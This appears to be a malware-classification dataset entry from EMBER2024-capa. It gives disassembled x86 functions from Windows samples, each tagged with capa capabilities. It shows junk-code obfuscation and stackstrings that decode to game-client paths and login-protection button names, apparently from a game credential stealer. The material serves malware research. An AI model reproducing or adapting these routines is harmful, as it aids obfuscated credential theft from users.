joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4149e1
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
sub ecx, 0x13a1c
and ecx, 0x14326
pop ecx
push edx
push ecx
add esp, 4
jmp 0x414886
pop edx
push eax
add eax, 0x181ab
pop eax
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push ebx
push edx
add esp, 4
or ebx, 0x7e1
call 0x4148e2
add byte [ebx + 0x44], cl
cmp al, 0x33
cmp cl, byte [ebp + 0x36]
add esp, 4
pop ebx
push edx
or edx, 0x11f37
xor edx, 0x12d9e
pop edx
push eax
sub eax, 0x1394a
pop eax
mov dword [ebp - 0x10], 1
push esi
push esi
add esp, 4
sub esi, 0xe6a7
sub esi, 0xd002
sub esi, 0x6852
or esi, 0x124e4
pop esi
push edx
or edx, 0xa32a
pop edx
push edi
push edx
add esp, 4
sub edi, 0x49ff
pop edi
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push ebx
push eax
add esp, 4
and ebx, 0x16cb3
pop ebx
push esi
push esi
add esp, 4
and esi, 0xac3e
and esi, 0x513c
add esi, 0xad7c
pop esi
push esi
and esi, 0x2130
xor esi, 0x6b15
pop esi
push eax
jmp 0x41499c
pop eax
push esi
push eax
add esp, 4
jmp 0x4149a9
sub esi, 0x183
call 0x4149bc
add byte [edi], dh
dec esi
dec ebx
inc ecx
cmp dword [eax], edi
cmp eax, 0xeb04c483
add eax, dword [edx + 0x3f]
pop esi
mov dword [ebp - 0x2c], 1
push eax
push edx
add esp, 4
call 0x4149e1
add byte [esi], dh
xor eax, 0x444e4132
inc esp
dec ebx
dec ecx
add esp, 4
xor eax, 0x604b
jmp 0x4149ef
or eax, 0x16d7c
pop eax
push edi
xor edi, 0x3c30
pop edi
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x414bdf
Function at 0x417dd9
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push eax
sub eax, 0xa684
sub eax, 0x407e
add eax, 0x2a80
pop eax
push ecx
push esi
add esp, 4
xor ecx, 0x83db
call 0x417dd9
add byte [edx], bh
dec ecx
dec edi
dec ebx
dec edx
inc eax
inc edi
dec ebx
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push ebx
push ebx
add esp, 4
or ebx, 0x1331e
add ebx, 0x7c3
and ebx, 0x9aeb
add ebx, 0x15f66
pop ebx
push edx
add edx, 0xf4b0
xor edx, 0x8a10
sub edx, 0x6d88
pop edx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push eax
xor eax, 0x4a54
sub eax, 0xcc90
or eax, 0xef57
or eax, 0x4800
pop eax
push edi
push edi
add esp, 4
and edi, 0x1418b
sub edi, 0x6ac8
jmp 0x417e94
pop edi
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push eax
push edi
add esp, 4
xor eax, 0x2e9f
pop eax
push eax
or eax, 0x7f08
and eax, 0x17d
or eax, 0xf5f6
pop eax
push eax
push ebx
add esp, 4
sub eax, 0x1b2a
xor eax, 0xc1b9
pop eax
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push ebx
push edi
add esp, 4
add ebx, 0x15733
or ebx, 0x11319
pop ebx
push ecx
and ecx, 0xc43
add ecx, 0x28e6
pop ecx
push eax
call 0x417f57
add byte [ebx + 0x48], al
aas
dec eax
inc eax
cmp al, byte ds:[ebx - 0x38a7fb3c]
test dword [eax - 1], ebx
dec dword [esi]
add byte [eax], al
add byte [ebx - 0x7f], dl
invalid
Function at 0x417f57
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push eax
sub eax, 0xa684
sub eax, 0x407e
add eax, 0x2a80
pop eax
push ecx
push esi
add esp, 4
xor ecx, 0x83db
call 0x417dd9
add byte [edx], bh
dec ecx
dec edi
dec ebx
dec edx
inc eax
inc edi
dec ebx
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push ebx
push ebx
add esp, 4
or ebx, 0x1331e
add ebx, 0x7c3
and ebx, 0x9aeb
add ebx, 0x15f66
pop ebx
push edx
add edx, 0xf4b0
xor edx, 0x8a10
sub edx, 0x6d88
pop edx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push eax
xor eax, 0x4a54
sub eax, 0xcc90
or eax, 0xef57
or eax, 0x4800
pop eax
push edi
push edi
add esp, 4
and edi, 0x1418b
sub edi, 0x6ac8
jmp 0x417e94
pop edi
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push eax
push edi
add esp, 4
xor eax, 0x2e9f
pop eax
push eax
or eax, 0x7f08
and eax, 0x17d
or eax, 0xf5f6
pop eax
push eax
push ebx
add esp, 4
sub eax, 0x1b2a
xor eax, 0xc1b9
pop eax
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push ebx
push edi
add esp, 4
add ebx, 0x15733
or ebx, 0x11319
pop ebx
push ecx
and ecx, 0xc43
add ecx, 0x28e6
pop ecx
push eax
call 0x417f57
add byte [ebx + 0x48], al
aas
dec eax
inc eax
cmp al, byte ds:[ebx - 0x38a7fb3c]
test dword [eax - 1], ebx
dec dword [esi]
add byte [eax], al
add byte [ebx - 0x7f], dl
invalid
Function at 0x418330
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add dword [eax], eax
or ebx, 0xd7c2
pop ebx
push edx
xor edx, 0x14ccd
xor edx, 0x7577
xor edx, 0xd44c
pop edx
push ebx
push edi
add esp, 4
xor ebx, 0xd38e
pop ebx
push edi
sub edi, 0x10dfd
xor edi, 0x1443
pop edi
push esi
push ebx
add esp, 4
xor esi, 0x26d6
xor esi, 0x8d74
and esi, 0x1726e
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
invalid
invalid

Function at 0x4183bc
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and ecx, 0x17a46
pop ecx
mov dword [ebp - 0x1fac], 0xffffffff
push ebx
push eax
add esp, 4
add ebx, 0x6e9e
pop ebx
push ebx
push edi
add esp, 4
and ebx, 0xac7f
sub ebx, 0x898b
xor ebx, 0x101f2
and ebx, 0xd694
pop ebx
push ebx
sub ebx, 0xa6fb
pop ebx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x41841f
Function at 0x419010
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push edx
xor edx, 0x18318
sub edx, 0x1349e
sub edx, 0xec39
or edx, 0x7683
pop edx
push ecx
push edi
add esp, 4
sub ecx, 0x6cae
xor ecx, 0x148e3
and ecx, 0x8674
pop ecx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x41906e
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x418e24
mov dword [ebp - 0x6ec], 0
Function at 0x419ffa
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push esi
jmp 0x419efb
jmp 0x419f00
sub esi, 0x12c83
add esi, 0x3531
pop esi
push edi
push ecx
add esp, 4
and edi, 0x13732
xor edi, 0xe748
or edi, 0x586f
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
push edi
add esp, 4
or esi, 0x8104
or esi, 0x51bc
xor esi, 0x12686
and esi, 0x82
pop esi
push edi
add edi, 0x5f18
pop edi
push eax
push ecx
add esp, 4
add eax, 0x2828
pop eax
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push esi
sub esi, 0x166a3
pop esi
push edx
push edi
add esp, 4
jmp 0x419feb
call 0x419ffa
add byte [eax + 0x46], al
dec ebx
dec edi
xor ecx, dword [edi + 0x41]
cmp eax, dword [edx - 0x7d]
les eax, [ecx + eax*4]
ljmp 0xe281
add esp, 4
pop edi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x41a128
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x419ef3
mov dword [ebp - 0x2a8], 0

Function at 0x41a0f8
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push esi
jmp 0x419efb
jmp 0x419f00
sub esi, 0x12c83
add esi, 0x3531
pop esi
push edi
push ecx
add esp, 4
and edi, 0x13732
xor edi, 0xe748
or edi, 0x586f
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
push edi
add esp, 4
or esi, 0x8104
or esi, 0x51bc
xor esi, 0x12686
and esi, 0x82
pop esi
push edi
add edi, 0x5f18
pop edi
push eax
push ecx
add esp, 4
add eax, 0x2828
pop eax
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push esi
sub esi, 0x166a3
pop esi
push edx
push edi
add esp, 4
jmp 0x419feb
call 0x419ffa
add byte [eax + 0x46], al
dec ebx
dec edi
xor ecx, dword [edi + 0x41]
cmp eax, dword [edx - 0x7d]
les eax, [ecx + eax*4]
ljmp 0xe281
add esp, 4
pop edi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x41a128
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x419ef3
mov dword [ebp - 0x2a8], 0
Function at 0x41a3f5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
xor esi, 0xf549
add esi, 0x186b
add esi, 0x10a42
sub esi, 0x13ba7
pop esi
push edi
push eax
add esp, 4
xor edi, 0xe2a0
pop edi
push eax
push eax
add esp, 4
xor eax, 0xd3ac
pop eax
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ebx
push esi
add esp, 4
sub ebx, 0xb071
xor ebx, 0xee58
and ebx, 0x4bb6
pop ebx
push ebx
call fcn.0041a3f5
add byte [eax + 0x34], al
inc eax
xor eax, 0x4a383e37
add esp, 4
sub ebx, 0x562
pop ebx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push esi
add esi, 0x5a1f
add esi, 0x121dd
jmp 0x41a46c
pop esi
push edx
push ebx
add esp, 4
and edx, 0x1330b
or edx, 0x201c
jmp 0x41a487
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x41a4a5
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x41a4ff
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x41a3cd
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x41a3cd
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x41a4e9
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x41a4f3
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x41a548
push ecx
push edi
add esp, 4
or ecx, 0x163b0
add ecx, 0x38e6
xor ecx, 0x754e
sub ecx, 0x819f
pop ecx
push esi
or esi, 0x1f58
or esi, 0xf1f2
and esi, 0xb385
pop esi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x41a5b0
push edi
and edi, 0x5818
pop edi
push ecx
push esi
add esp, 4
sub ecx, 0xfd45
sub ecx, 0x168ad
jmp 0x41a567
pop ecx
push ebx
push esi
add esp, 4
add ebx, 0x124b9
add ebx, 0x6e8f
pop ebx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x41a5a6
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x41a371
mov dword [ebp - 0x710], 0
Function at 0x20001000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
and dword [ebp - 4], 0
push esi
lea eax, [ebp - 0x2c]
mov esi, 0x20005050
push eax
push esi
mov dword [ebp - 0x2c], 0x4243327b
mov dword [ebp - 0x28], 0x34373737
mov dword [ebp - 0x24], 0x45382d36
mov dword [ebp - 0x20], 0x342d4343
mov dword [ebp - 0x1c], 0x2d616330
mov dword [ebp - 0x18], 0x37313238
mov dword [ebp - 0x14], 0x4330312d
mov dword [ebp - 0x10], 0x45423841
mov dword [ebp - 0xc], 0x43464535
mov dword [ebp - 8], 0x7d38
call sub.MSVCRT.dll_strcpy
pop ecx
mov eax, esi
pop ecx
pop esi
leave
ret

Function at 0x20001736
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push edi
mov ecx, ecx
mov eax, eax
nop
mov edi, edi
nop
mov edi, edi
and dword [ebp - 4], 0
push str.JXSJ
mov dword [ebp - 0x1c], 0x623f7325
mov dword [ebp - 0x18], 0x2673253d
mov dword [ebp - 0x14], 0x73253d63
mov dword [ebp - 0x10], 0x253d6526
mov dword [ebp - 0xc], 0x6b712673
mov dword [ebp - 8], 0x313d
call fcn.20003521
push eax
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0xc
lea eax, [ebp - 0x21c]
test eax, eax
pop edi
je 0x20001801
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x20001801
push 0x200052f0
push 0x200051a0
lea eax, [ebp - 0x21c]
push 0x20005170
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x21c]
push eax
call fcn.20002d89
add esp, 0x1c
test eax, eax
je 0x20001801
cmp byte [eax], 0x31
push eax
jne 0x200017fa
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push 1
pop eax
leave
ret
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
xor eax, eax
leave
ret

Function at 0x20001bc7
Capabilities:
Contain obfuscated stackstrings
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
lea eax, [ebp - 0x38]
push esi
push eax
lea eax, [ebp - 0x60]
push 0x28
push eax
lea eax, [ebp - 0x20]
push 0x20005020
push eax
lea eax, [ebp - 0xc]
xor ebx, ebx
push eax
mov dword [ebp - 0x38], 0x73755c2e
mov dword [ebp - 0x34], 0x755c7265
mov dword [ebp - 0x30], 0x6d6f6369
mov dword [ebp - 0x2c], 0x2e6e6f6d
mov dword [ebp - 0x28], 0x696e69
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0xc], 0x69676f4c
mov dword [ebp - 8], 0x6e
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], 0x7473614c
mov dword [ebp - 0x1c], 0x656d6147
mov dword [ebp - 0x18], 0x76726553
mov dword [ebp - 0x14], 0x7265
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x60]
push 0x20
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x20001c8b
lea eax, [ebp - 0x5e]
mov byte [esi], bl
push eax
push 0x20005170
call sub.MSVCRT.dll_strcpy
inc esi
push 0x2000501c
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x10
cmp eax, ebx
je 0x20001c8b
push esi
push 0x200051a0
mov byte [eax], bl
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
pop esi
pop ebx
leave
ret
Function at 0x20001d0b
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x20001d1e
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x20001e41
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x20002039
mov eax, 0x436e7442
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x4c], eax
lea eax, [esi + 0x2c]
xor ebx, ebx
push ecx
push eax
mov dword [ebp - 0x3c], 0x506e7442
mov dword [ebp - 0x38], 0x65746f72
mov dword [ebp - 0x34], 0x7463
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x14], 0x4b6e7442
mov dword [ebp - 0x10], 0x7965
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x60], 0x6f72705c
mov dword [ebp - 0x5c], 0x74636574
mov dword [ebp - 0x58], 0x79656b5c
mov dword [ebp - 0x54], 0x5c
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x20], 0x456e7442
mov dword [ebp - 0x1c], 0x7265746e
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x28], 0x65736f6c
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x48], 0x65636e61
mov dword [ebp - 0x44], 0x6c
mov dword [ebp - 0x40], ebx
mov dword [ebp - 8], 0x6c6564
mov dword [ebp - 4], ebx
mov dword [ebp + 8], eax
lea edi, [esi + 0x1dc]
call dword [sym.imp.MSVCRT.dll__strcmpi]
pop ecx
mov esi, 0x200051c8
test eax, eax
pop ecx
jne 0x20001f21
push 0x20
push ebx
push esi
mov dword [0x20005328], 1
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [0x20005328], ebx
je 0x20001fb1
lea eax, [ebp - 0x14]
push 6
push eax
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x20001fb1
lea eax, [ebp - 0x60]
push 0xd
push eax
lea eax, [edi + 0xe]
push eax
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x20001fb1
push 0x5c
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edi, eax
lea eax, [ebp - 8]
inc edi
push 3
push eax
push edi
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0x14
test eax, eax
jne 0x20001f8d
push esi
call sub.MSVCRT.dll_strlen
cmp eax, ebx
pop ecx
jle 0x20001fb1
mov byte [eax + 0x200051c7], bl
jmp 0x20001fb1
mov al, byte [edi]
cmp al, 0x30
jl 0x20001fb1
cmp al, 0x39
jg 0x20001fb1
push esi
call sub.MSVCRT.dll_strlen
cmp eax, 6
pop ecx
jge 0x20001fb1
mov cl, byte [edi]
mov byte [eax + 0x200051c8], cl
mov byte [eax + 0x200051c9], bl
mov edi, dword [sym.imp.MSVCRT.dll__strcmpi]
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call edi
pop ecx
test eax, eax
pop ecx
jne 0x20002009
cmp dword [0x20005328], ebx
je 0x20002009
push esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x20002009
push esi
push 0x2000521c
call sub.MSVCRT.dll_strcpy
push esi
call sub.MSVCRT.dll_strlen
add esp, 0xc
cmp eax, 6
jne 0x20001ffd
call fcn.20001d0b
mov dword [0x20005328], ebx
push 0x20
push ebx
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 8]
call edi
pop ecx
test eax, eax
pop ecx
je 0x20002027
lea eax, [ebp - 0x4c]
push eax
push dword [ebp + 8]
call edi
pop ecx
test eax, eax
pop ecx
jne 0x20002039
push 0x20
push ebx
push esi
mov dword [0x20005328], ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x2000211b
Capabilities:
Contain obfuscated stackstrings
Get file size
Read .ini file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
mov ecx, ecx
mov eax, eax
nop
mov edi, edi
nop
mov edi, edi
mov eax, 0x76726553
mov esi, 0x2000537c
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x50]
xor ebx, ebx
push eax
push 0x28
push esi
lea eax, [ebp - 0x18]
push 0x20005020
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x24], 0x614e7265
push eax
mov dword [ebp - 0x20], 0x656d
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x7473614c
mov dword [ebp - 0x14], 0x656d614e
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x50], 0x63655c2e
mov dword [ebp - 0x4c], 0x6f685c74
mov dword [ebp - 0x48], 0x692e656d
mov dword [ebp - 0x44], 0x696e
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], 0x694c7265
mov dword [ebp - 0x34], 0x442e7473
mov dword [ebp - 0x30], 0x7461
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
ja 0x200021c8
xor eax, eax
jmp 0x200022b8
lea eax, [ebp - 0x154]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x154]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax + 1], bl
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x154]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
mov ecx, ecx
mov eax, eax
nop
mov edi, edi
nop
mov edi, edi
push ebx
push ebx
push 3
push ebx
push ebx
lea eax, [ebp - 0x154]
push 0x80000000
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + 1]
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp - 8], eax
lea eax, [edi + 1]
push eax
push ebx
push dword [ebp - 8]
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 4]
push ebx
push eax
push edi
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, ebx
pop ecx
je 0x200022ab
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
push 0x2c
push eax
call edi
mov esi, eax
push 0x2c
inc esi
push esi
call edi
push 0x28
push ebx
mov ebx, 0x20005354
mov edi, eax
push ebx
call sub.MSVCRT.dll_memset
sub edi, esi
push edi
push esi
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x28
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x2000236c
Capabilities:
Create thread

Disassembly:
push edi
mov ecx, ecx
mov eax, eax
nop
mov edi, edi
nop
mov edi, edi
xor eax, eax
push eax
push eax
push eax
push 0x2000238b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
ret